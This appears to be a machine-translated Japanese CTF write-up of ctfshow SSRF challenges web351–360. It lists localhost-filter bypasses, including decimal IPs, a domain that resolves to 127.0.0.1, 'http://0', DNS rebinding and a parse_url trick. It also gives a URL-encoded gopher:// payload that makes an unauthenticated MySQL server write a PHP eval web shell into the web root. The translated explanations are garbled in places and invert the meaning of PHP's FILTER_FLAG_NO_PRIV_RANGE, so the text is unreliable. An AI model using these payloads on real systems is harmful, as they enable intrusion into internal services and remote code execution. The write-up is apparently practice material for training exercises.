SSRFに会う
SSRF(Server-Side Request Forgery)サーバーリクエストは偽造されています。SSRFは、サーバーによって開始されたリクエストを形成するために攻撃者によって構築されたセキュリティの脆弱性です。通常、SSRF攻撃は、外部からアクセスできない内部システムを標的にします。
web351
flag.phpページにアクセスすると、アクセス後に非ローカルユーザーにアクセスを禁止するように求められるため、ローカルアクセスにはssrfを使用します
url=http://localhost/flag.php
web352
それはまだflag.phpですが、127.0.0.1とlocalhostはフィルタリングされています。IPを数値に変換する
オンラインIPアドレスからInt番号、Int番号からIPアドレス
url=http://2130706433/flag.php
web353
/localhost|127\.0\.|\。/i
以前のペイロードには影響しません
url=http://2130706433/flag.php
web354
/localhost|1|0|。/
1と0は特に除外されます。
127.0.0.1(http://sudo.cc/)であるAレコードを見つけてから、Webサイトのドメイン名をペイロードのURLに変更します。
url=http://sudo.cc/flag.php
web355
これにはstrlen($ host)<=5が必要です
Baidu 127.0.0.1を再度記述できるようになると、このローカルIP、127.0.0.1と0.0.0.0の違いがわかりました。
オールゼロのアドレスは任意のホストを表すので、0が0.0.0.0を表すことができるかどうか試してみたいと思います
次に、ローカルでhttp:// 0 /にアクセスしてみてください。彼は、私のためにhttps://0.0.0.0/にジャンプしました。
このように、それは可能であるはずです、それでペイロードを構築することを試みてください、成功
url=http://0/flag.php
web356
今回は(strlen($ host)<= 3)、上記のペイロードを使用します
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
if判断では:
- FILTER_FLAG_IPV4-有効なIPv4IPであるために値が必要です
- FILTER_FLAG_IPV6-有効なIPv6IPであるために値が必要です
- FILTER_FLAG_NO_PRIV_RANGE-値はRFCで指定されたプライベートIPである必要があります(例:192.168.0.1)
- FILTER_FLAG_NO_RES_RANGE-予約済みIP範囲外の値が必要です。このフラグは、IPV4およびIPV6の値を受け入れます。
DNS再バインドの脆弱性:DNS再バインドの脆弱性について話します
http://ceye.io/にアクセスしてアカウントを登録します。ログインすると、ドメイン名が割り当てられていることがわかります。
DNSリバインディングを任意のIPとして追加し、別のIPを127.0.0.1として追加します。そうしないと、ペイロードに127.0.0.1IPが直接表示されます。
次にPOST:(割り当てられたドメイン名の前にrを追加することを忘れないでください)
url=http://r.xxxxxx.ceye.io/flag.php
次に、さらに数回POSTします。
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
ここでのテストは、parse_urlの解析の問題です。記事を参照してください:parse_url summary
http://ctf.@0/flag.php?show
web359、web360
打无密码的mysql
ここでは、前のコード監査で使用されたツールgopherus(https://github.com/tarunkant/Gopherus)を使用します。
で文章を書く
次に、転送ポイントを見つけます
ここで、gopher://127.0.0.1:3306 / _の背面をURLエンコードする必要があるという点があるので、メモ帳に置き換えました(%を%25に置き換えます)
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
次にreturlを押します
Web360はredisにヒットし、ツールの背後にあるmysqlをレイヤーredisに変更します。
もう一度URLエンコードすることを忘れないでください。